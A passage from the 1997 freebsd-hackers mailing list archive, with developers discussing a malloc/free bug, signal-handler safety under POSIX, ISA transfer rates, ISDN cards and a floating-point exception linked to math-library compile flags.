hackers@freebsd.org; Fri, 19 Sep 1997 09:36:04 +0200 (SAT) From: Graham Wheeler Message-Id: <199709190736.JAA01776@cdsec.com> Subject: Re: Bug in malloc/free To: hackers@freebsd.org Date: Fri, 19 Sep 1997 09:36:03 +0200 (SAT) In-Reply-To: <19970919155813.53901@lemis.com> from "Greg Lehey" at Sep 19, 97 03:58:13 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On the other hand, there's not much you can do without calling some > library routine. POSIX.1 defines "safe" routines that you can call > from a signal handler. They are: (Commercial plug) This is why every UNIX programmer should have a copy of W Richard Stevens' Advanced Programming in the UNIX Environment. A great book, which covers these sorts of issues better than any other I've seen. In fact WRS book's generally are great... Although you probably all know this anyway... -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Fri Sep 19 01:24:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA24590 for hackers-outgoing; Fri, 19 Sep 1997 01:24:44 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA24584 for ; Fri, 19 Sep 1997 01:24:35 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id KAA23703; Fri, 19 Sep 1997 10:29:44 +0200 (SAT) Received: by citadel via recvmail id 23701; Fri Sep 19 10:29:19 1997 by gram.cdsec.com (8.8.5/8.8.5) id KAA01865; Fri, 19 Sep 1997 10:15:06 +0200 (SAT) From: Graham Wheeler Message-Id: <199709190815.KAA01865@cdsec.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: tlambert@primenet.com (Terry Lambert) Date: Fri, 19 Sep 1997 10:15:05 +0200 (SAT) Cc: hackers@freebsd.org In-Reply-To: <199709182114.OAA13613@usr03.primenet.com> from "Terry Lambert" at Sep 18, 97 09:14:40 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > How about: > > heap_ptr p = malloc( 20); > heap_ptr q, r; > free(p); > q = malloc(10) > r = malloc( 10); > free(p); > > ? 8-). Well, in this case q is typically equal to p. So the call to free(p) is not a heap error (even though it is logically an error). Would one call this a `Godel error'? ;-) If you add a line afterwards of the form `free(q);', then of course this added line is detected: Bad call to free from file gwtest.c, line 33 Possibly freed before at gwtest.c, line 32, size 10 -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Fri Sep 19 01:35:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA25214 for hackers-outgoing; Fri, 19 Sep 1997 01:35:36 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA25192; Fri, 19 Sep 1997 01:35:30 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id KAA12845; Fri, 19 Sep 1997 10:34:28 +0200 (CEST) To: Mike Smith cc: Julian Elischer , Andrew Atrens , hackers@freebsd.org, gram@cdsec.com, freebsd-bugs@freebsd.org Subject: Re: Bug in malloc/free In-reply-to: Your message of "Fri, 19 Sep 1997 16:22:04 +0930." <199709190652.QAA01100@word.smith.net.au> Date: Fri, 19 Sep 1997 10:34:28 +0200 Message-ID: <12843.874658068@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709190652.QAA01100@word.smith.net.au>, Mike Smith writes: >> >> probably a printf or other stdio function > >I *know* this. 8) I'm just trying to find the sucker. The 'ddd' example >looked like it was spinning in abort(), which doesn't look like it will >actually come back and call malloc() again. In olden days, >if MALLOC_STATS was defined when malloc() was built, the stats dump >used fprintf(), but this is not the case with 3.x. Some time ago abort() was changed to that it would call __flush(), because some standard said so. I still think this is unwise. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Fri Sep 19 01:38:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA25426 for hackers-outgoing; Fri, 19 Sep 1997 01:38:32 -0700 (PDT) Received: from bunyip.cc.uq.edu.au (bunyip.cc.uq.edu.au [130.102.2.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA25416 for ; Fri, 19 Sep 1997 01:38:22 -0700 (PDT) Received: (from daemon@localhost) by bunyip.cc.uq.edu.au (8.8.7/8.8.7) id SAA06069; Fri, 19 Sep 1997 18:37:37 +1000 Received: from localhost.dtir.qld.gov.au by ogre.dtir.qld.gov.au (8.7.5/DEVETIR-E0.3a) with SMTP id SAA11696; Fri, 19 Sep 1997 18:36:06 +1000 (EST) Message-Id: <199709190836.SAA11696@ogre.dtir.qld.gov.au> To: Josef Grosch cc: freebsd-hackers@freebsd.org, syssgm@dtir.qld.gov.au Subject: Re: New cvs tag References: <19970918233526.47127@mooseriver.com> In-Reply-To: <19970918233526.47127@mooseriver.com> from Josef Grosch at "Fri, 19 Sep 1997 06:35:26 +0000" Date: Fri, 19 Sep 1997 18:36:06 +1000 From: Stephen McKay Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Friday, 19th September 1997, Josef Grosch wrote: >Since we are headed to 2.2.5 is there a cvs tag to pull 2.2.5, such as >"RELENG_2_2_5" ?? Use RELENG_2_2 to get 2.2-stable until further notice. When the release is made, it will be RELENG_2_2_5_RELEASE [unless Jordan goes mad :-) ]. There might be a RELENG_2_2_5_BETA made at the freeze point, but that would be up to Jordan. Personally, I would ignore that and use RELENG_2_2. Stephen. From owner-freebsd-hackers Fri Sep 19 01:40:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA25567 for hackers-outgoing; Fri, 19 Sep 1997 01:40:26 -0700 (PDT) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA25554 for ; Fri, 19 Sep 1997 01:40:20 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA02899; Fri, 19 Sep 1997 18:08:16 +0930 (CST) Message-Id: <199709190838.SAA02899@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: hackers@FreeBSD.ORG Subject: Re: INB question In-reply-to: Your message of "Fri, 19 Sep 1997 08:49:37 +0200." <19970919084937.PR22228@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 18:08:13 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > OBTW, see my trailing comment wrt. transfer rates; if ISA read cycles > > are deferred by 1.25us, how do I manage 1.3MW/sec from a user-space > > process? (This is with a P166 on an HX board; nothing special.) > > With a true plain ISA card? The boot code still uses an inb(0x84) for > a timing loop, and it seems to get the timing well enough with it. Yes, a "true plain ISA card". Specifically, a National Instruments AT-DIO32-F; the design is probably 5+ years old. > OTOH, 800000 transfers per second seem to support your figure. If the > transfers are 16 bits wide, this would be ~ 80 % of the theoretical > maximum. Read it again. 1.3MegaWords. Specifically, implying that it's making 1.3 million 16-bit I/O transactions per second, or 2.6MB/sec. Yes, this is substantially faster than I was expecting. 8) mike From owner-freebsd-hackers Fri Sep 19 01:44:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA25842 for hackers-outgoing; Fri, 19 Sep 1997 01:44:48 -0700 (PDT) Received: from mail12.digital.com (mail12.digital.com [192.208.46.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA25832 for ; Fri, 19 Sep 1997 01:44:41 -0700 (PDT) Received: from cssmuc.frt.dec.com (cssmuc.frt.dec.com [16.186.96.161]) by mail12.digital.com (8.7.5/UNX 1.5/1.0/WV) with SMTP id EAA14090 for ; Fri, 19 Sep 1997 04:39:45 -0400 (EDT) Received: from mofo.frt.dec.com by cssmuc.frt.dec.com; (5.65v3.2/1.1.8.2/14Nov95-0232PM) id AA26358; Fri, 19 Sep 1997 10:39:37 +0200 Received: from mofo.frt.dec.com (localhost [127.0.0.1]) by mofo.frt.dec.com (8.8.6/8.8.5) with ESMTP id KAA03250 for ; Fri, 19 Sep 1997 10:37:09 GMT Message-Id: <199709191037.KAA03250@mofo.frt.dec.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: hackers@freebsd.org In-Reply-To: Message from Luigi Rizzo of Thu, 18 Sep 1997 14:32:57 +0200. Reply-To: gjennejohn@frt.dec.com Subject: Re: ISDN Modems Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 10:37:09 +0000 From: Gary Jennejohn Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Luigi Rizzo writes: > Now if ISDN cards were sold in volumes and priced reasonably (i.e. > as much as an NE2000, since they are actually simpler!) and accessed > through a dedicated device driver, then things would certainly be > different. > well, ISDN cards aren't as cheap as the NE2000 clones, I have to admit that. But then again, the volume is a lot smaller. I can get a Teles clone here in Germany for about 140 DM, which is ~$75. And, with bisdn, the cards _are_ accessed using a dedicated driver. I can get (depending on the quality of the connection) the maximum throughput of ~8kB/sec (well, actually ~7.5kB/s with overhead). --- Gary Jennejohn (work) gjennejohn@frt.dec.com (home) garyj@muc.de (play) gj@freebsd.org From owner-freebsd-hackers Fri Sep 19 01:45:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA25924 for hackers-outgoing; Fri, 19 Sep 1997 01:45:49 -0700 (PDT) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA25891; Fri, 19 Sep 1997 01:45:38 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA02922; Fri, 19 Sep 1997 18:10:31 +0930 (CST) Message-Id: <199709190840.SAA02922@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Poul-Henning Kamp cc: Mike Smith , Julian Elischer , Andrew Atrens , hackers@freebsd.org, gram@cdsec.com, freebsd-bugs@freebsd.org Subject: Re: Bug in malloc/free In-reply-to: Your message of "Fri, 19 Sep 1997 10:34:28 +0200." <12843.874658068@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 18:10:29 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > In message <199709190652.QAA01100@word.smith.net.au>, Mike Smith writes: > >> > >> probably a printf or other stdio function > > > >I *know* this. 8) I'm just trying to find the sucker. The 'ddd' example > >looked like it was spinning in abort(), which doesn't look like it will > >actually come back and call malloc() again. In olden days, > >if MALLOC_STATS was defined when malloc() was built, the stats dump > >used fprintf(), but this is not the case with 3.x. > > Some time ago abort() was changed to that it would call __flush(), > because some standard said so. I still think this is unwise. This is only an issue if the user supplies a custom _write handler for a FILE. The standard handler doesn't appear to have any opportunity for dynamic allocation. mike From owner-freebsd-hackers Fri Sep 19 01:46:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA26007 for hackers-outgoing; Fri, 19 Sep 1997 01:46:36 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA25994 for ; Fri, 19 Sep 1997 01:46:31 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id KAA24432 for ; Fri, 19 Sep 1997 10:51:44 +0200 (SAT) Received: by citadel via recvmail id 24396; Fri Sep 19 10:50:53 1997 by gram.cdsec.com (8.8.5/8.8.5) id KAA00234 for hackers@freebsd.org; Fri, 19 Sep 1997 10:38:01 +0200 (SAT) From: Graham Wheeler Message-Id: <199709190838.KAA00234@cdsec.com> Subject: Re: Bug in malloc/free To: hackers@freebsd.org Date: Fri, 19 Sep 1997 10:38:00 +0200 (SAT) In-Reply-To: <12843.874658068@critter.freebsd.dk> from "Poul-Henning Kamp" at Sep 19, 97 10:34:28 am X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Just an update - since doing the link with libmalloc_d, the application has been running for more than 18 hours now with no problems (as opposed to at most 30 minutes before). We are now replacing it with one linked with the non-debug version of libmalloc. If that works okay, then we will try the GNU malloc library as well. -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Fri Sep 19 02:09:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA27112 for hackers-outgoing; Fri, 19 Sep 1997 02:09:18 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA27101 for ; Fri, 19 Sep 1997 02:09:11 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id SAA01063; Fri, 19 Sep 1997 18:38:57 +0930 (CST) Message-ID: <19970919183857.13258@lemis.com> Date: Fri, 19 Sep 1997 18:38:57 +0930 From: Greg Lehey To: Graham Wheeler Cc: Terry Lambert , hackers@FreeBSD.ORG Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) References: <199709182114.OAA13613@usr03.primenet.com> <199709190815.KAA01865@cdsec.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709190815.KAA01865@cdsec.com>; from Graham Wheeler on Fri, Sep 19, 1997 at 10:15:05AM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 10:15:05AM +0200, Graham Wheeler wrote: >> >> How about: >> >> heap_ptr p = malloc( 20); >> heap_ptr q, r; >> free(p); >> q = malloc(10) >> r = malloc( 10); >> free(p); >> >> ? 8-). > > Well, in this case q is typically equal to p. So the call to free(p) is > not a heap error (even though it is logically an error). > Would one call this a `Godel error'? ;-) Would alloca help, possibly? It allocates memory on the stack. Greg From owner-freebsd-hackers Fri Sep 19 02:12:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA27342 for hackers-outgoing; Fri, 19 Sep 1997 02:12:37 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA27337 for ; Fri, 19 Sep 1997 02:12:30 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id LAA25294; Fri, 19 Sep 1997 11:17:45 +0200 (SAT) Received: by citadel via recvmail id 25259; Fri Sep 19 11:17:11 1997 by gram.cdsec.com (8.8.5/8.8.5) id LAA00305; Fri, 19 Sep 1997 11:04:16 +0200 (SAT) From: Graham Wheeler Message-Id: <199709190904.LAA00305@cdsec.com> Subject: Re: Bug in malloc/free To: grog@lemis.com (Greg Lehey) Date: Fri, 19 Sep 1997 11:04:15 +0200 (SAT) Cc: hackers@freebsd.org In-Reply-To: <19970919183553.28276@lemis.com> from "Greg Lehey" at Sep 19, 97 06:35:53 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > On Fri, Sep 19, 1997 at 09:36:03AM +0200, Graham Wheeler wrote: > >> On the other hand, there's not much you can do without calling some > >> library routine. POSIX.1 defines "safe" routines that you can call > >> from a signal handler. They are: > > > > (Commercial plug) This is why every UNIX programmer should have a copy of > > W Richard Stevens' Advanced Programming in the UNIX Environment. A great > > book, which covers these sorts of issues better than any other I've seen. > > In fact WRS book's generally are great... > > Agreed. I've got all of them, and I use them. But I was really > trying to plug the book from which this came :-) Which is? -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Fri Sep 19 02:14:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA27430 for hackers-outgoing; Fri, 19 Sep 1997 02:14:39 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA27425; Fri, 19 Sep 1997 02:14:33 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id TAA09952; Fri, 19 Sep 1997 19:09:04 +1000 Date: Fri, 19 Sep 1997 19:09:04 +1000 From: Bruce Evans Message-Id: <199709190909.TAA09952@godzilla.zeta.org.au> To: grog@lemis.com, peter@spinner.dialix.com.au Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, phk@critter.freebsd.dk Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On the other hand, there's not much you can do without calling some > library routine. POSIX.1 defines "safe" routines that you can call > from a signal handler. They are: > > _exit access alarm cfgetispeed cfgetospeed cfsetispeed cfsetospeed > chdir chmod chown close creat dup dup2 execle execve fcntl fork > fstat getegid geteuid getgid getgroups getpgrp getpid getppid getuid > kill link lseek mkdir mkfifo open pathconf pause pipe read rename > rmdir setgid setpgid setsid setuid sigaction sigaddset sigdelset > sigemptyset sigfillset sigismember sigpending sigprocmask sigsuspend > sleep stat sysconf tcdrain tcflow tcflush tcgetattr tcgetpgrp > tcsendbreak tcsetattr tcsetpgrp time times umask uname unlink utime > wait waitpid write > > In addition, System V.4 allows abort, exit, longjmp, and signal. > >Should we produce some such guidelines? We claim to be sort of POSIX conformant. Perhaps this is enough. We aren't actually POSIX conformant. All the above "safe" routines may clobber the global `errno'. STDC only allows operations on auto variables and assignment to static variables of type sig_atomic_t. We aren't STDC conformant either. Operations on auto floating point variables may corrupt the floating point state. This isn't a problem in practice, since nothing useful can be done using only auto floating point variables. Bruce From owner-freebsd-hackers Fri Sep 19 02:39:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA28808 for hackers-outgoing; Fri, 19 Sep 1997 02:39:57 -0700 (PDT) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA28802 for ; Fri, 19 Sep 1997 02:39:54 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by Campino.Informatik.RWTH-Aachen.DE (8.8.7/RBI-Z-6) with ESMTP id LAA23138; Fri, 19 Sep 1997 11:41:39 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id LAA20518; Fri, 19 Sep 1997 11:47:04 +0200 (MEST) Message-ID: <19970919114704.51622@gil.physik.rwth-aachen.de> Date: Fri, 19 Sep 1997 11:47:04 +0200 From: Christoph Kukulies To: Terry Lambert Cc: Christoph Kukulies , freebsd-hackers@freefall.FreeBSD.org Subject: Re: FPE problem References: <19970918163531.11717@gil.physik.rwth-aachen.de> <199709181618.JAA17494@usr03.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709181618.JAA17494@usr03.primenet.com>; from Terry Lambert on Thu, Sep 18, 1997 at 04:18:06PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Sep 18, 1997 at 04:18:06PM +0000, Terry Lambert wrote: > > A little bit more info now: > > > > ret_val = -z__ * (spint_1.a1 * z__ * (spint_1.a2 * z__ * (spint_1.a3 * > > z2 * (spint_1.a4 * z2 * (spint_1.a5 * z2 * (spint_1.a6 * z2 * > > (spint_1.a7 * z2 * (spint_1.a8 * z2 * (spint_1.a9 * z2 * ( > > spint_1.a10 * z2 + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + > > 1.) + 1.) + 1.) + spint_1.zeta2 + z__ * log(1. - *x); > > > > > > (xxgdb) info float > > u: status 0x82e1: exceptions: INVALID LOS FPSTACK; flags: 0010; top 0 > > e: status 0x200: flags: 0010; top 0 > > control 0x1272: compute to 53 bits; round NEAREST; mask: DENORM UNDERF LOS; > > last instruction: opcode 0x1d0; pc 0x8:0xf01f9a96; operand 0x27:0x92844 > > [ ... ] > > > What is LOS ? Loss of significance? > [ valuable floating point insights ommitted ] Now it's getting funny: The exception only occurs on certain machines. I have a dynamically linked binary which I compiled on an around July -current 486 machine and it does *not* do a FPE there. The machines where it occurs were built with CFLAGS= -ffast-math -m486 -O2 That means that libm (or libmsun) were built with inline fpu instructions and this is causing the trouble. I will rebuild the math libs with conservative switches now. > > If it's any consolation, I was stumped for a good week the first > time this happened to me. That's about 1.0e13 Proton-Proton pair > production collisions on the very expensive hardware I was using. 8-(. > > > Regards, > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. -- --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Fri Sep 19 02:51:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA29626 for hackers-outgoing; Fri, 19 Sep 1997 02:51:51 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA29614; Fri, 19 Sep 1997 02:51:44 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id LAA13120; Fri, 19 Sep 1997 11:50:34 +0200 (CEST) To: Bruce Evans cc: grog@lemis.com, peter@spinner.dialix.com.au, atrens@nortel.ca, freebsd-bugs@freebsd.org, gram@cdsec.com, hackers@freebsd.org Subject: Re: Bug in malloc/free In-reply-to: Your message of "Fri, 19 Sep 1997 19:09:04 +1000." <199709190909.TAA09952@godzilla.zeta.org.au> Date: Fri, 19 Sep 1997 11:50:34 +0200 Message-ID: <13118.874662634@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709190909.TAA09952@godzilla.zeta.org.au>, Bruce Evans writes: >> On the other hand, there's not much you can do without calling some >> library routine. POSIX.1 defines "safe" routines that you can call >> from a signal handler. They are: >> >> _exit access alarm cfgetispeed cfgetospeed cfsetispeed cfsetospeed >> chdir chmod chown close creat dup dup2 execle execve fcntl fork >> fstat getegid geteuid getgid getgroups getpgrp getpid getppid getuid >> kill link lseek mkdir mkfifo open pathconf pause pipe read rename >> rmdir setgid setpgid setsid setuid sigaction sigaddset sigdelset >> sigemptyset sigfillset sigismember sigpending sigprocmask sigsuspend >> sleep stat sysconf tcdrain tcflow tcflush tcgetattr tcgetpgrp >> tcsendbreak tcsetattr tcsetpgrp time times umask uname unlink utime >> wait waitpid write >> >> In addition, System V.4 allows abort, exit, longjmp, and signal. >> >>Should we produce some such guidelines? > >We claim to be sort of POSIX conformant. Perhaps this is enough. We >aren't actually POSIX conformant. All the above "safe" routines may >clobber the global `errno'. > >STDC only allows operations on auto variables and assignment to static >variables of type sig_atomic_t. We aren't STDC conformant either. >Operations on auto floating point variables may corrupt the floating >point state. This isn't a problem in practice, since nothing useful >can be done using only auto floating point variables. You could calculate pi... :-) -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Fri Sep 19 02:56:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA00154 for hackers-outgoing; Fri, 19 Sep 1997 02:56:01 -0700 (PDT) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA00132 for ; Fri, 19 Sep 1997 02:55:53 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by Campino.Informatik.RWTH-Aachen.DE (8.8.7/RBI-Z-6) with ESMTP id LAA23510; Fri, 19 Sep 1997 11:57:33 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id MAA20605; Fri, 19 Sep 1997 12:02:57 +0200 (MEST) Message-ID: <19970919120257.04499@gil.physik.rwth-aachen.de> Date: Fri, 19 Sep 1997 12:02:57 +0200 From: Christoph Kukulies To: Christoph Kukulies Cc: Terry Lambert , freebsd-hackers@freefall.FreeBSD.org Subject: Re: FPE problem References: <19970918163531.11717@gil.physik.rwth-aachen.de> <199709181618.JAA17494@usr03.primenet.com> <19970919114704.51622@gil.physik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <19970919114704.51622@gil.physik.rwth-aachen.de>; from Christoph Kukulies on Fri, Sep 19, 1997 at 11:47:04AM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 11:47:04AM +0200, Christoph Kukulies wrote: > On Thu, Sep 18, 1997 at 04:18:06PM +0000, Terry Lambert wrote: > > > A little bit more info now: > > > > > > ret_val = -z__ * (spint_1.a1 * z__ * (spint_1.a2 * z__ * (spint_1.a3 * > > > z2 * (spint_1.a4 * z2 * (spint_1.a5 * z2 * (spint_1.a6 * z2 * > > > (spint_1.a7 * z2 * (spint_1.a8 * z2 * (spint_1.a9 * z2 * ( > > > spint_1.a10 * z2 + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + > > > 1.) + 1.) + 1.) + spint_1.zeta2 + z__ * log(1. - *x); > > > > > > > > > (xxgdb) info float > > > u: status 0x82e1: exceptions: INVALID LOS FPSTACK; flags: 0010; top 0 > > > e: status 0x200: flags: 0010; top 0 > > > control 0x1272: compute to 53 bits; round NEAREST; mask: DENORM UNDERF LOS; > > > last instruction: opcode 0x1d0; pc 0x8:0xf01f9a96; operand 0x27:0x92844 > > > > [ ... ] > > > > > What is LOS ? Loss of significance? > > > [ valuable floating point insights ommitted ] > > Now it's getting funny: > > The exception only occurs on certain machines. I have a dynamically linked > binary which I compiled on an around July -current 486 machine and it does > *not* do a FPE there. > > The machines where it occurs were built with > CFLAGS= -ffast-math -m486 -O2 > > That means that libm (or libmsun) were built with inline fpu instructions > and this is causing the trouble. > > I will rebuild the math libs with conservative switches now. Stop. Stop. I'm getting this with a stock 2.2.2-RELEASE installed machine also, so my compilation switches may not be the only culprit.. Were there any changes in libm in the recent past? > > > > > Regards, > > Terry Lambert > > terry@lambert.org > > --- > > Any opinions in this posting are my own and not those of my present > > or previous employers. > > -- > --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de -- --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Fri Sep 19 02:57:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA00293 for hackers-outgoing; Fri, 19 Sep 1997 02:57:16 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA00280; Fri, 19 Sep 1997 02:57:10 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id TAA11275; Fri, 19 Sep 1997 19:54:38 +1000 Date: Fri, 19 Sep 1997 19:54:38 +1000 From: Bruce Evans Message-Id: 